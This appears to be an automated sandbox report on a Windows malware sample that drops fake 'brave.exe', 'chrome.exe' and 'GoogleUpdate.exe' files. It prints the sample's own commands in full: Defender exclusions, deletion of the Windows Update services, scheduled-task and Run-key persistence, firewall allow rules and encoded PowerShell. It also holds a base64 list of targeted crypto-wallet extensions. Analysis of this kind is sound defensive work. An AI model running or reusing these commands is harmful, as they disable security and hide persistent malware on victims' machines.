Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\brave.exe "C:\Users\user\AppData\Local\Google\brave.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\ofg.exe "C:\Users\user\AppData\Local\Google\ofg.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\chrome.exe "C:\Users\user\AppData\Local\Google\chrome.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\cmd.exe cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\cmd.exe cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA==	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA=	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA==
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA=
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: unknown unknown
Source: C:\Windows\GoogleUpdate.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL
Source: C:\Windows\GoogleUpdate.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="Google Updater" dir=in action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
Source: C:\Windows\GoogleUpdate.exe	Process created: unknown unknown

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\InprocServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WER4B16.tmp

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: 0.3.cfBJlHsOsz.exe.460000.0.unpack, BrEx.cs

Base64 encoded string: 'ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8WW9yb2lXYWxsZXQKaWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8VHJvbmxpbmsKamJkYW9jbmVpaWlubWpiamxnYWxoY2VsZ2Jlam1uaWR8TmlmdHlXYWxsZXQKbmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58TWV0YW1hc2sKYWZiY2JqcGJwZmFkbGttaG1jbGhrZWVvZG1hbWNmbGN8TWF0aFdhbGxldApobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHxDb2luYmFzZQpmaGJvaGltYWVsYm9ocGpiYmxkY25nY25hcG5kb2RqcHxCaW5hbmNlQ2hhaW4Kb2RiZnBlZWloZGtiaWhtb3BrYmptb29uZmFubGJmY2x8QnJhdmVXYWxsZXQKaHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58R3VhcmRhV2FsbGV0CmJsbmllaWlmZmJvaWxsa25qbmVwb2dqaGtnbm9hcGFjfEVxdWFsV2FsbGV0CmNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfEpheHh4TGliZXJ0eQpmaWhrYWtmb2JrbWtqb2pwY2hwZmdjbWhmam5tbmZwaXxCaXRBcHBXYWxsZXQKa25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8aVdhbGxldAphbWttamptbWZsZGRvZ21ocGpsb2ltaXBib2ZuZmppaHxXb21iYXQKZmhpbGFoZWltZ2xpZ25kZGtqZ29ma2NiZ2VraGVuYmh8QXRvbWljV2FsbGV0Cm5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfE1ld0N4Cm5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfEd1aWxkV2FsbGV0Cm5rZGRnbmNkamdqZmNkZGFtZmdjbWZubGhjY25pbWlnfFNhdHVybldhbGxldApmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3xSb25pbldhbGxldAphaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHxUZXJyYVN0YXRpb24KZm5uZWdwaGxvYmpkcGtoZWNhcGtpampka2djamhraWJ8SGFybW9ueVdhbGxldAphZWFjaGtubWVmcGhlcGNjaW9uYm9vaGNrb25vZWVtZ3xDb2luOThXYWxsZXQKY2dlZW9kcGZhZ2pjZWVmaWVmbG1kZnBocGxrZW5sZmt8VG9uQ3J5c3RhbApwZGFkamtma2djYWZnYmNlaW1jcGJrYWxuZm5lcGJua3xLYXJkaWFDaGFpbgpiZm5hZWxtb21laW1obHBtZ2puam9waGhwa2tvbGpwYXxQaGFudG9tCmZoaWxhaGVpbWdsaWduZGRramdvZmtjYmdla2hlbmJofE94eWdlbgptZ2Zma2ZiaWRpaGpwb2FvbWFqbGJnY2hkZGxpY2dwbnxQYWxpV2FsbGV0CmFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfEJvbHRYCmtwZm9wa2VsbWFwY29pcGVtZmVuZG1kY2dobmVnaW1ufExpcXVhbGl0eVdhbGxldApobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJvaWVhZnxYZGVmaVdhbGxldApscGZjYmprbmlqcGVlaWxsaWZua2lrZ25jaWtnZmhkb3xOYW1pV2FsbGV0CmRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfE1haWFyRGVGaVdhbGxldApmZm5iZWxmZG9laW9oZW5ramlibm1hZGppZWhqaGFqYnxZb3JvaVdhbGxldAppYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb2lob2ZlY3xUcm9ubGluawpqYmRhb2NuZWlpaW5tamJqbGdhbGhjZWxnYmVqbW5pZHxOaWZ0eVdhbGxldApua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnxNZXRhbWFzawphZmJjYmpwYnBmYWRsa21obWNsaGtlZW9kbWFtY2ZsY3xNYXRoV2FsbGV0CmhuZmFua25vY2Zlb2ZiZGRnY2lqbm1obmZua2RuYWFkfENvaW5iYXNlCmZoYm9oaW1hZWxib2hwamJibGRjbmdjbmFwbmRvZGpwfEJpbmFuY2VDaGFpbgpvZGJmcGVlaWhka2JpaG1vcGtiam1vb25mYW5sYmZjbHxCcmF2ZVdhbGxldApocGdsZmhnZm5oYmdwamRlbmpnbWRnb2VpYXBwYWZsbnxHdWFyZGFXYWxsZXQKYmxuaWVpaWZmYm9pbGxrbmpuZXBvZ2poa2dub2FwYWN8RXF1YWxXYWxsZXQKY2plbGZwbHBsZWJkamplbmxscGpjYmxtamtmY2ZmbmV8SmF4eHhMaWJlcnR5CmZpaGtha2ZvYmtta2pvanBjaHBmZ2NtaGZqbm1uZnBpfEJpdEFwcFdhbGxldAprbmNjaGRpZ29iZ2hlbmJiYWRkb2pqbm5hb2dmcHBmanxpV2FsbGV0CmFta21qam1tZmxkZG9nbWhwamxvaW1pcGJvZm5mamlofFdvbWJhdApmaGlsYWhlaW1nbGlnbmRka2pnb2ZrY2JnZWtoZW5iaHxBdG9taWNXYWxsZXQKbmxibW5uaWpjbmxlZ2tqanBjZmpjbG1jZmdnZmVmZG18TWV3Q3gKbmFuam1ka25oa2luaWZua2dkY2dnY2ZuaGRhYW1tbWp8R3VpbGRXYWxsZXQKbmtkZGduY2RqZ2pmY2RkYW1mZ2NtZm5saGNjbmltaWd8U2F0dXJuV2FsbGV0CmZuamhta2hobWtiamtrYWJuZGNubm9nYWdvZ2JuZWVjfFJvbmluV2FsbGV

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5724:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6032:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5008:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1500:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5520:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2956:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:484:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5524:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5832:120:WilError_01
Source: C:\Windows\GoogleUpdate.exe	Mutant created: \Sessions\1\BaseNamedObjects\GoogleUpdate{825b2ad2-5778-421f-86b5-fbf0592aa463}
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2572
Source: C:\Users\user\AppData\Local\Google\brave.exe	Mutant created: \Sessions\1\BaseNamedObjects\DeAfAaAa__shmem3_winpthreads_tdm_
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5892:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4304:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4980:120:WilError_01

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\GoogleUpdate.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\GoogleUpdate.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: GoogleUpdate_unsigned.pdb source: GoogleUpdate.exe, 0000002B.00000000.349521767.0000000000971000.00000020.00000001.01000000.0000000C.sdmp, GoogleUpdate.exe, 00000033.00000000.364043063.0000000000971000.00000020.00000001.01000000.0000000C.sdmp, GoogleUpdate.exe.21.dr
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\Release\r77-x86.pdb source: ofg.exe, 00000014.00000002.590956685.0000000001060000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\InstallStager\obj\Release\InstallStager.pdb source: brave.exe, 0000000E.00000002.409454727.000001A1513F2000.00000004.00000020.00020000.00000000.sdmp, 8ABA.tmp.14.dr
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\InstallStager\obj\Release\InstallStager.pdb- source: brave.exe, 0000000E.00000002.409454727.000001A1513F2000.00000004.00000020.00020000.00000000.sdmp, 8ABA.tmp.14.dr
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\x64\Release\r77-x64.pdb source: powershell.exe, 00000022.00000002.567019472.000001FA7DC50000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: H:\CRYPTOCOIN\rootkit\r77-rootkit-master_1.3.0\r77-rootkit-master\vs\x64\Release\Install.pdb source: brave.exe, 0000000E.00000002.409454727.000001A1513F2000.00000004.00000020.00020000.00000000.sdmp, 8ABA.tmp.14.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Windows\GoogleUpdate.exe

Unpacked PE file: 51.2.GoogleUpdate.exe.970000.0.unpack .text:ER;.data:W;.idata:R;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\AppData\Local\Google\ofg.exe	Unpacked PE file: 17.2.ofg.exe.1080000.2.unpack
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Unpacked PE file: 20.2.ofg.exe.1060000.2.unpack
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Unpacked PE file: 41.2.chrome.exe.1590000.2.unpack

Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Code function: 0_2_0040B012 push ecx; ret	0_2_0040B025
Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Code function: 0_2_0040EB51 push ecx; ret	0_2_0040EB64
Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Code function: 0_2_0042231C push es; iretd	0_2_00422332
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 14_2_00007FF6FC782598 push rbx; retf	14_2_00007FF6FC78259A

Source: C:\Users\user\Desktop\cfBJlHsOsz.exe

Code function: 0_2_0041182C LoadLibraryA,GetProcAddress,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,GetProcAddress,__encode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,__decode_pointer,

0_2_0041182C

Source: brave.exe.2.dr	Static PE information: section name: .xdata
Source: updater.exe.14.dr	Static PE information: section name: .xdata
Source: 8ABA.tmp.14.dr	Static PE information: section name: _RDATA

Source: 8ABA.tmp.14.dr	Static PE information: real checksum: 0x0 should be: 0x5841e
Source: updater.exe.14.dr	Static PE information: real checksum: 0x2ce193 should be: 0x2c34ef
Source: brave.exe.2.dr	Static PE information: real checksum: 0x2ce193 should be: 0x2c34ee
Source: ofg.exe.2.dr	Static PE information: real checksum: 0x0 should be: 0x1938e

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Users\user\AppData\Local\Google\chrome.exe

Executable created and started: C:\Windows\GoogleUpdate.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Google\brave.exe	File created: C:\Program Files\Google\Chrome\updater.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Users\user\AppData\Local\Google\brave.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Users\user\AppData\Local\Google\chrome.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Users\user\AppData\Local\Google\ofg.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Google\chrome.exe	File created: C:\Windows\GoogleUpdate.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Google\brave.exe	File created: C:\Users\user\AppData\Local\Temp\8ABA.tmp	Jump to dropped file

Source: C:\Users\user\AppData\Local\Google\chrome.exe

File created: C:\Windows\GoogleUpdate.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Google\ofg.exe

Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\sc.exe sc stop UsoSvc

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Windows\GoogleUpdate.exe	Memory written: PID: 848 base: 580005 value: E9 FB 99 36 77
Source: C:\Windows\GoogleUpdate.exe	Memory written: PID: 848 base: 778E9A00 value: E9 0A 66 C9 88

Found hidden mapped module (file has been removed from disk)

Source: C:\Users\user\AppData\Local\Google\brave.exe

Module Loaded: C:\PROGRAM FILES\GOOGLE\CHROME\UPDATER.EXE

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
